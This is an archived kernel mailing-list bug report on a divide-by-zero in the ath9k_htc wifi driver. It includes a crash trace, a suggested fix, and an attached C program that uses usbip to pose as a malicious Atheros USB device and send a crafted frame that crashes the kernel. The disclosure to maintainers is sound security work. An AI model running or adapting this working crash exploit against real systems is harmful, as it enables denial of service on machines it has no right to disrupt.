From: rtm@csail.mit.edu
To: toke@toke.dk
Cc: linux-wireless@vger.kernel.org
Subject: divide by zero in ath9k_htc_choose_bslot()
Date: Thu, 27 Mar 2025 14:16:12 -0400 [thread overview]
Message-ID: <88967.1743099372@localhost> (raw)
[-- Attachment #1: Type: text/plain, Size: 3535 bytes --]
The attached demo uses usbip to pretend to be a USB device for
drivers/net/wireless/ath/ath9k/
It sets up the wifi interface, and then maliciously generates a frame
that claims to be on the USB endpoint that ath9k_htc_rx_msg() passes to
ath9k_wmi_ctrl_rx(). The cmd_id in the frame is 0x1002, or
WMI_SWBA_EVENTID, which causes ath9k_wmi_ctrl_rx() to wake up the
ath9k_wmi_event_tasklet. Which calls ath9k_htc_swba(), which calls
ath9k_htc_choose_bslot(), which says
intval = priv->cur_beacon_conf.beacon_interval;
tsf = be64_to_cpu(swba->tsf);
tsftu = TSF_TO_TU(tsf >> 32, tsf);
slot = ((tsftu % intval) * ATH9K_HTC_MAX_BCN_VIF) / intval;
slot = ATH9K_HTC_MAX_BCN_VIF - slot - 1;
At this point beacon_interval is zero, so this divides by zero. On an
amd64, a fault. On a RISC-V, which produces -1 for divide by zero,
slot ends up as 2, which is too large; later on, slot=2 causes
ath9k_htc_send_buffered() to index off the end of the bslot array;
ieee80211_get_buffered_bc() then dereferences the resulting bad vif
pointer.
vif = priv->beacon.bslot[slot];
skb = ieee80211_get_buffered_bc(priv->hw, vif);
Changing ath9k_htc_choose_bslot() to return zero if intval is zero makes
the crash go away. I don't know if that would be correct with a real
Atheros device, but it probably doesn't matter since I imagine this
would only ever arise with a broken or malicious USB device.
# uname -a
Linux xxx 6.14.0-rc7 #18 SMP PREEMPT_DYNAMIC Thu Mar 27 11:26:30 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
# cc usbath1c.c
# ./a.out
...
Oops: divide error: 0000 [#1] PREEMPT SMP PTI
CPU: 2 UID: 0 PID: 29 Comm: ksoftirqd/2 Not tainted 6.14.0-rc7 #18
Hardware name: FreeBSD BHYVE/BHYVE, BIOS 14.0 10/17/2021
RIP: 0010:ath9k_htc_swba+0x5f/0x3a0
Code: 0f 85 93 02 00 00 48 8b 06 0f b7 8d c0 03 00 00 4c 8d ad b0 03 00 00 4c 89 ef 48 0f c8 48 89 c2 48 c1 ea 20 0f ac d0 0a 31 d2 <f7> f1 8d 04 12 31 d2 f7 f1 89 c3 e8 31 23 56 00 b8 01 00 00 00 29
RSP: 0018:ffffbc49c014fd88 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff9ef116c1ef40 RCX: 0000000000000000
RDX: 0000000000000000 RSI: ffff9ef102fc006c RDI: ffff9ef116f56390
RBP: ffff9ef116f55fe0 R08: 0000000000000800 R09: 0000000000000000
R10: ffffffff862070c0 R11: 0000000000000210 R12: ffff9ef104b0c0cc
R13: ffff9ef116f56390 R14: ffff9ef104b0c060 R15: 0000000000000210
FS: 0000000000000000(0000) GS:ffff9ef42fa80000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ffd54f0c1dc CR3: 00000001024f4001 CR4: 00000000003706f0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
Call Trace:
<TASK>
? die+0x31/0x80
? do_trap+0xd8/0x100
? ath9k_htc_swba+0x5f/0x3a0
? do_error_trap+0x60/0x80
? ath9k_htc_swba+0x5f/0x3a0
? exc_divide_error+0x39/0x50
? ath9k_htc_swba+0x5f/0x3a0
? asm_exc_divide_error+0x1a/0x20
? ath9k_htc_swba+0x5f/0x3a0
? sched_balance_newidle.isra.0+0x29f/0x3a0
ath9k_wmi_event_tasklet+0x33/0x150
tasklet_action_common+0xb3/0x220
handle_softirqs+0xc5/0x2b0
? __pfx_smpboot_thread_fn+0x10/0x10
run_ksoftirqd+0x20/0x30
smpboot_thread_fn+0xd8/0x1d0
kthread+0xe9/0x1f0
? __pfx_kthread+0x10/0x10
ret_from_fork+0x2f/0x50
? __pfx_kthread+0x10/0x10
ret_from_fork_asm+0x1a/0x30
</TASK>
Modules linked in:
---[ end trace 0000000000000000 ]---
RIP: 0010:ath9k_htc_swba+0x5f/0x3a0
Robert Morris
rtm@mit.edu
[-- Attachment #2: usbath1c.c --]
[-- Type: application/octet-stream, Size: 19805 bytes --]
//
// CONFIG_ATH9...
// apt install firmware-ath9k-htc
//
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <assert.h>
#define W_PRODUCT 1
#define W_REG 2
#define W_EEPROM 4
#define W_PKT 8
#define W_HDR 16
int which = W_PKT;
unsigned int vendor = 0x0cf3; // Atheros
unsigned int product = 0x9271;
unsigned long aa[] = {
0x20400003e70ull,
0x21000000070ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int aai;
static inline unsigned long real_symx() {
return aa[aai++];
}
static int started = 0;
static int sai = 0;
static unsigned long symx() {
#define NSYM 256
static unsigned long sa[NSYM];
if(started == 0){
started = 1;
usleep(200000);
for(int i = 0; i < NSYM; i++){
sa[i] = real_symx();
}
}
if(sai >= NSYM){
return 0;
}
return sa[sai++];
}
struct op_common {
unsigned short version;
unsigned short code;
unsigned int status;
};
struct usbip_usb_device {
char path[256];
char busid[32];
uint32_t busnum;
uint32_t devnum;
uint32_t speed;
uint16_t idVendor;
uint16_t idProduct;
uint16_t bcdDevice;
uint8_t bDeviceClass;
uint8_t bDeviceSubClass;
uint8_t bDeviceProtocol;
uint8_t bConfigurationValue;
uint8_t bNumConfigurations;
uint8_t bNumInterfaces;
} __attribute__((packed));
struct usbip_header_basic {
unsigned int command;
unsigned int seqnum;
unsigned int devid;
unsigned int direction;
unsigned int ep;
};
struct usbip_header_cmd_submit {
unsigned int transfer_flags;
int transfer_buffer_length;
int start_frame;
int number_of_packets;
int interval;
unsigned char setup[8];
};
struct usbip_header_ret_submit {
int status;
int actual_length;
int start_frame;
int number_of_packets;
int error_count;
};
int
readable(int fd)
{
fd_set readfds;
FD_ZERO(&readfds);
FD_SET(fd, &readfds);
struct timeval tv;
tv.tv_sec = 10;
tv.tv_usec = 0;
int ss = select(fd + 1, &readfds, (fd_set*)0, (fd_set*)0, &tv);
return FD_ISSET(fd, &readfds);
}
int
readn(int fd, void *xbuf, int n)
{
char *buf = xbuf;
int got = 0;
while(got < n){
if(readable(fd) == 0){
return -1;
}
int cc = read(fd, buf+got, n-got);
if(cc <= 0){
perror("usbip0: read");
return -1;
}
got += cc;
}
return got;
}
void
mkif(char **xp, int num, int alt, int eps, int cl, int subcl, int proto, int iff)
{
char *p = *xp;
// usb_interface_descriptor
*p++ = 9; // bLength
*p++ = 4; // bDescriptorType USB_DT_INTERFACE
*p++ = num; // bInterfaceNumber
*p++ = alt; // bAlternateSetting
*p++ = eps; // bNumEndpoints
*p++ = cl; // bInterfaceClass
*p++ = subcl; // bInterfaceSubClass
*p++ = proto; // bInterfaceProtocol
*p++ = iff; // iInterface
*xp = p;
}
void
mkad(char **xp, int type, int subtype)
{
char *p = *xp;
// Additional Descriptor
*p++ = 0; // bLength (filled in later)
*p++ = type; // bDescriptorType
*p++ = subtype; // bDescriptorSubtype
if(type == 36 && subtype == 1){
// AS_GENERAL
*p++ = 1; // bTerminalLink
*p++ = 1; // bDelay
*p++ = 1; // wFormatTag PCM
p++;
} else if(type == 36 && subtype == 2){
// FORMAT_TYPE
*p++ = 1; // bFormatType
*p++ = 2; // bNrChannels
*p++ = 3; // bSubframeSize
*p++ = 24; // bBitResolution
*p++ = 2; // bSamFreqType
*p++ = 2; // bSamFreqType
p += 5;
} else {
*p++ = 0; // bcdADC
*p++ = 1;
*(short*)p = 0x5f; // wTotalLength
p += 2;
*p++ = 2; // bInCollection
*p++ = 1; // baInterfaceNr(0)
*p++ = 2; // baInterfaceNr(1)
}
*(*xp) = p - (*xp); // bLength
*xp = p;
}
void
mkadx(char **xp, int type, int subtype, int len, int a[])
{
char *p = *xp;
// Additional Descriptor
*p++ = 0; // bLength (filled in later)
*p++ = type; // bDescriptorType
*p++ = subtype; // bDescriptorSubtype
for(int i = 0; i < len - 3; i++)
*p++ = a[i];
*(*xp) = p - (*xp); // bLength
*xp = p;
}
void
mkep(char **xp, int epa, int attr, int maxp)
{
char *p = *xp;
// usb_endpoint_descriptor
*p++ = 9;
*p++ = 5; // bDescriptorType USB_DT_ENDPOINT
*p++ = epa; // bEndpointAddress
*p++ = attr; // bmAttributes
*(short*)p = maxp; // wMaxPacketSize
p += 2;
*p++ = 7; // bInterval
p += 2; // ???
*xp = p;
}
int
main(int argc, char *argv[])
{
struct rlimit r;
r.rlim_cur = r.rlim_max = 0;
setrlimit(RLIMIT_CORE, &r);
int port = 3240;
int s, yes = 1;
struct sockaddr_in sin;
system("echo 0 > /sys/module/usbip_core/parameters/usbip_debug_flag");
//system("echo 4294967295 > /sys/module/usbip_core/parameters/usbip_debug_flag");
system("killall usbip");
sleep(1);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
s = socket(AF_INET, SOCK_STREAM, 0);
if(s < 0){
perror("socket");
exit(1);
}
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
if(bind(s, (struct sockaddr *) &sin, sizeof(sin)) < 0){
perror("usbxxx: bind");
exit(1);
}
if(listen(s, 3000) < 0){
perror("usbxxx: listen");
exit(1);
}
system("usbip/src/usbip attach -r 127.0.0.1 -b 1-1 &");
sleep(2);
sync();
sleep(1);
int s1;
unsigned sinlen = sizeof(sin);
s1 = accept(s, (struct sockaddr *) &sin, &sinlen);
if(s1 < 0){
perror("accept");
exit(1);
}
close(s);
struct op_common op;
// OP_REQ_IMPORT
readn(s1, &op, sizeof(op));
char busid[32];
readn(s1, busid, sizeof(busid));
op.code = htons(0x03); // OP_REP_IMPORT
op.status = htonl(0); // ST_OK
write(s1, &op, sizeof(op));
struct usbip_usb_device uud;
memset(&uud, 0, sizeof(uud));
strcpy(uud.busid, busid);
//uud.speed = htonl(2); // USB_SPEED_FULL
uud.speed = htonl(3); // USB_SPEED_HIGH
//uud.speed = htonl(5); // USB_SPEED_SUPER
write(s1, &uud, sizeof(uud));
// now talking to the kernel
int cmdno = 0;
if(fork() == 0){
close(s1);
while(1){
sleep(1);
if(system("ifconfig -a | grep wlan2") == 0){
system("ifconfig wlan2 1.2.3.4 up");
system("ifconfig wlan2");
exit(0);
}
}
exit(0);
}
if(fork() == 0){
close(s1);
while(1){
sleep(1);
if(system("ifconfig -a | grep wlx020200000000") == 0){
system("ifconfig wlx020200000000 1.2.3.4 up");
system("ifconfig wlx020200000000");
exit(0);
}
}
exit(0);
}
if(which & W_PRODUCT){
product ^= symx();
}
int done = 0;
int can_tx = 0;
#define NCMD 10240
char *cmds[NCMD];
int cmdw = 0;
int cmdr = 0;
while(done == 0){
struct usbip_header_basic ibh;
//sync(); // don't sync() -- deadlock.
if(readn(s1, &ibh, sizeof(ibh)) < 0)
break;
if(ntohl(ibh.command) == 1){
// USBIP_CMD_SUBMIT
struct usbip_header_cmd_submit cs;
memset(&cs, 0, sizeof(cs));
if(readn(s1, &cs, sizeof(cs)) < 0)
break;
int translen = ntohl(cs.transfer_buffer_length);
unsigned int ep = ntohl(ibh.ep);
if(ibh.direction == 0){
char ibuf[4096];
assert(translen <= sizeof(ibuf));
if(readn(s1, ibuf, translen) < 0)
break;
if(ep == 4){
if(cmdw < NCMD){
cmds[cmdw] = malloc(64);
memcpy(cmds[cmdw], ibuf, 64);
cmdw += 1;
}
}
struct usbip_header_basic obh;
memset(&obh, 0, sizeof(obh));
obh.command = htonl(3); // USBIP_RET_SUBMIT
obh.seqnum = ibh.seqnum;
obh.devid = ibh.devid;
obh.direction = htonl(!ntohl(ibh.direction));
obh.ep = ibh.ep;
write(s1, &obh, sizeof(obh));
char rsbuf[sizeof(cs)];
memset(rsbuf, 0, sizeof(rsbuf));
struct usbip_header_ret_submit *rs = (void*)rsbuf;
rs->actual_length = htonl(translen);
write(s1, rs, sizeof(rsbuf));
} else {
char obuf[20480];
if(translen > sizeof(obuf)){
break;
}
memset(obuf, 0, sizeof(obuf));
char *p = obuf;
if(cs.setup[1] == 0x06){
// USB_REQ_GET_DESCRIPTOR
if(cs.setup[0] == 0x80 && cs.setup[3] == 1){
// USB_DT_DEVICE
// struct usb_device_descriptor
obuf[0] = 18; // bLength
obuf[1] = 1; // bDescriptorType = USB_DT_DEVICE
obuf[2] = 0x20; // bcdUSB
obuf[3] = 0x03; // bcdUSB
obuf[4] = 0; // bDeviceClass
obuf[5] = 0; // bDeviceSubClass
obuf[6] = 0; // bDeviceProtocol
obuf[7] = 64; // bMaxPacketSize0
*(short*)(obuf+8) = vendor; // idVendor
*(short*)(obuf+10) = product; // idProduct
obuf[12] = 0; // bcdDevice
obuf[13] = 1; // bcdDevice
obuf[14] = 2; // iManufacturer
obuf[15] = 3; // iProduct
obuf[16] = 1; // iSerial
obuf[17] = 1; // bNumConfigurations
} else if(cs.setup[0] == 0x80 && cs.setup[3] == 2){
// USB_DT_CONFIG
// struct usb_config_descriptor
*p++ = 9; // bLength
*p++ = 2; // USB_DT_CONFIG
short *lenp = (short*) p;
*(short*)p = 9 + 4*9 + 15*10 + 2*7; // wTotalLength
p += 2;
*p++ = 1; // bNumInterfaces
*p++ = 1; // bConfigurationValue
*p++ = 0; // iConfiguration
*p++ = 0x80; // bmAttributes
*p++ = 1; // bMaxPower
// mkif(&p, num, alt, eps, cl, subcl, proto, iff)
mkif(&p, 0, 0, 8, 0xff, 0xff, 0xff, 0);
mkep(&p, 0x01, 0x02, 0x0200);
mkep(&p, 0x82, 0x02, 0x0200);
mkep(&p, 0x83, 0x03, 0x0200);
mkep(&p, 0x04, 0x03, 0x0200);
mkep(&p, 0x05, 0x02, 0x0200);
mkep(&p, 0x86, 0x02, 0x0200);
mkep(&p, 0x87, 0x03, 0x0200);
mkep(&p, 0x08, 0x03, 0x0200);
assert(p - obuf <= sizeof(obuf));
*lenp = p - obuf;
} else if(cs.setup[0] == 0x80 && cs.setup[3] == 0x0f){
// USB_DT_BOS
// struct usb_bos_descriptor
*p++ = 5; // bLength
*p++ = 15;
*(short*)p = 0x002a; // wTotalLength
p += 2;
*p++ = 3; // bNumDeviceCaps
// usb_ext_cap_descriptor
*p++ = 7; // bLength
*p++ = 16; // bDescriptorType
*p++ = 2; // bDevCapabilityType
*(int*)p = 0x0000f41e; // bmAttributes
p += 4;
// usb_ss_cap_descriptor
*p++ = 10; // bLength
*p++ = 16; // bDescriptorType
*p++ = 3; // bDevCapabilityType
*p++ = 0; // bmAttributes
*(short*)p = 0xe; // wSpeedsSupported
p += 2;
*p++ = 1; // bFunctionalitySupport
*p++ = 10; // bU1devExitLat
*(short*)p = 2047; // bU2DevExitLat
p += 2;
// usb_ssp_cap_descriptor
*p++ = 20; // bLength
*p++ = 16; // bDescriptorType
*p++ = 10; // bDevCapabilityType
*p++ = 0; // bReserved
*(int*)p = 0; // bmAttributes
p += 4;
*(short*)p = 1; // bFunctionalitySupport
p += 2;
p += 2; // wReserved
*(int*)p = 0x000a4030;
p += 4;
*(int*)p = 0x000a40b0;
p += 4;
} else if(cs.setup[0] == 0x80 && cs.setup[3] == 3){
// USB_DT_STRING
*p++ = 6; // length
*p++ = 3; // descriptor type
*p++ = 'a';
*p++ = 'b';
*p++ = 'c';
*p++ = 'd';
}
}
unsigned char *ibuf = cs.setup;
if(ep == 0x03){
// asking for response to a previous ep=04 command/request
// ath9k_hif_usb_reg_in_cb
// ath9k_htc_rx_msg
// struct htc_frame_hdr
static int nth;
if(nth == 0){
// driver expects an unsolicited READY
// htc_process_target_rdy
*(short*)(obuf+8) = htons(1); // HTC_MSG_READY_ID
} else if(cmdr < cmdw){
// a command is waiting to be answered
char *cmd = cmds[cmdr];
memcpy(obuf, cmd, 64); // ???
if(cmd[0] == 0){
// htc_msg
int msg_id = ntohs(*(short*)(cmd+8));
if(msg_id == 2){
// connect
*(short*)(obuf+8) = htons(3);
*(short*)(obuf+10) = htons((1<<8)|0); // service_id
*(short*)(obuf+12) = htons(4); // endpoint_id
} else if(msg_id == 5){
// pipe
*(short*)(obuf+8) = htons(6);
}
if(which & W_REG){
*(long*)(obuf+8) ^= symx();
}
} else if(cmd[0] == 4){
// wmi_cmd
int command_id = ntohs(*(short*)(cmd+8));
if(command_id == 20){
// WMI_REG_READ_CMDID
int reg = ntohs(*(short*)(cmd+14));
memset(obuf+12, 0, 128); // default, esp for multi-read
if(reg == 0x4020){
// REG_READ AR_SREV(ah) 0x4020
*(int*)(obuf+12) = htonl(0x00ff | (0x40 << 12));
} else if(reg == 0x7044){
// AR_RTC_STATUS
*(int*)(obuf+12) = htonl(0x2); // AR_RTC_STATUS_ON
} else if(reg == 0x407c){
*(int*)(obuf+12) = htonl(0xa55a); // AR_5416_EEPROM_MAGIC
} else if(reg == 0x2400){
// start of eeprom
*(short*)(obuf+14) = htons(4); // length
*(short*)(obuf+18) = htons(0xffff ^ 4); // checksum
*(short*)(obuf+22) = htons((14 << 12) + 2); // version
*(short*)(obuf+26) = htons(0x0003); // opCapFlags
*(short*)(obuf+38) = htons(0x0202); // macAddr
}
if(reg < 0x2400 || (reg > 0x3d60 && reg < 0x8814) || (reg > 0x97f4)){
if(which & W_REG){
*(long*)(obuf+12) ^= symx();
}
} else if(reg >= 0x2400 && reg <= 0x3d60){
if(which & W_EEPROM){
*(long*)(obuf+12) ^= symx();
*(long*)(obuf+20) ^= symx();
*(long*)(obuf+28) ^= symx();
*(long*)(obuf+36) ^= symx();
}
} else {
// otherwise it's crypto key reset 0x8814 .. 0x97f4
}
} else if(command_id == 21){
// WMI_REG_WRITE_CMDID
int reg = ntohs(*(short*)(cmd+14));
} else if(command_id == 32){
// WMI_REG_RMW_CMDID read-modify-write
} else if(command_id == 3){
// WMI_GET_FW_VERSION
*(short*)(obuf+12) = htons(1); // major
*(short*)(obuf+14) = htons(3); // minor
if(which & W_REG){
*(long*)(obuf+12) ^= symx();
}
} else if(command_id == 5){
// WMI_ENABLE_INTR_CMDID
// ifconfig has enabled the interface
can_tx = 1;
} else {
}
}
if(which & W_HDR){
*(long *)obuf ^= symx();
}
cmdr++;
} else {
translen = 0;
}
nth++;
}
if(ep == 0x02){
// asking for a packet
// ath9k_hif_usb_rx_cb
if(can_tx){
static int nth = 0;
printf("sending packet!!!\n");
usleep(100000);
if(nth >= 3)
done = 1;
translen = 64;
*(short*)(obuf+2) = 0x4e00; // ATH_USB_RX_STREAM_MODE_TAG
if(which & W_PKT){
for(int i = 0; i < translen; i += 8){
*(long*)(obuf+i) ^= symx();
}
}
nth++;
} else {
translen = 0;
}
}
struct usbip_header_basic obh;
memset(&obh, 0, sizeof(obh));
obh.command = htonl(3); // USBIP_RET_SUBMIT
obh.seqnum = ibh.seqnum;
obh.devid = ibh.devid;
obh.direction = htonl(!ntohl(ibh.direction));
obh.ep = ibh.ep;
write(s1, &obh, sizeof(obh));
char rsbuf[sizeof(cs)];
memset(rsbuf, 0, sizeof(rsbuf));
struct usbip_header_ret_submit *rs = (void*)rsbuf;
rs->actual_length = htonl(translen);
write(s1, rs, sizeof(rsbuf));
write(s1, obuf, translen);
}
} else if(ntohl(ibh.command) == 2){
// USBIP_CMD_UNLINK
// struct usbip_header_cmd_unlink uh;
char buf[sizeof(struct usbip_header_cmd_submit)];
memset(buf, 0, sizeof(buf));
if(readn(s1, buf, sizeof(buf)) < 0)
break;
unsigned int uh = *(int*)buf;;
struct usbip_header_basic obh;
memset(&obh, 0, sizeof(obh));
obh.command = htonl(4); // USBIP_RET_UNLINK
obh.seqnum = ibh.seqnum;
obh.devid = ibh.devid;
obh.direction = htonl(!ntohl(ibh.direction));
obh.ep = ibh.ep;
write(s1, &obh, sizeof(obh));
char rsbuf[sizeof(struct usbip_header_cmd_submit)];
memset(rsbuf, 0, sizeof(rsbuf));
write(s1, rsbuf, sizeof(rsbuf));
}
cmdno += 1;
}
sleep(2);
close(s1);
sleep(2);
}
next reply other threads:[~2025-03-27 18:16 UTC|newest]
Thread overview: 5+ messages / expand[flat|nested] mbox.gz Atom feed top
2025-03-27 18:16 rtm [this message]
2025-03-31 12:26 ` divide by zero in ath9k_htc_choose_bslot() Toke Høiland-Jørgensen
2025-03-31 14:17 ` rtm
2025-04-01 18:13 ` Jeff Johnson
2025-04-02 9:09 ` Toke Høiland-Jørgensen
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=88967.1743099372@localhost \
--to=rtm@csail.mit.edu \
--cc=linux-wireless@vger.kernel.org \
--cc=toke@toke.dk \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.